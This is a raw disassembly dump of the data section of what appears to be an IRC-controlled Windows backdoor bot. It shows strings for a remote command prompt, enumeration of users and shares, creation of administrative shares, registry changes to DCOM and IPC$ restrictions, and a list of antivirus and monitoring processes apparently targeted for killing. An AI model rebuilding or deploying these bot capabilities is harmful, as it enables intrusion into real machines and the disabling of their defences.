aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_43A234	dd 7530h		; DATA XREF: sub_419F4D+12r
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; .packed:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: .packed:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: .packed:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	.packed:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: .packed:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .packed:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .packed:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: .packed:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: .packed:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: .packed:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: .packed:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: .packed:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: .packed:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: .packed:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .packed:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .packed:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .packed:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .packed:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .packed:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .packed:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .packed:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .packed:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset dword_43A570
		dd offset dword_43A56C
		dd offset dword_43A568
dword_43A568	dd 5C3A44h		; DATA XREF: sub_41A3C6+217o
					; .packed:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: .packed:0043A560o
dword_43A570	dd 5C3A43h		; DATA XREF: .packed:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: .packed:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: .packed:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: .packed:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: .packed:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: .packed:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: .packed:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: .packed:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: .packed:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: .packed:0041B6ADo
dword_43AE00	dd 0D51C685Bh		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: sub_41C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.packed:0043AE58o
					; .packed:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; .packed:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
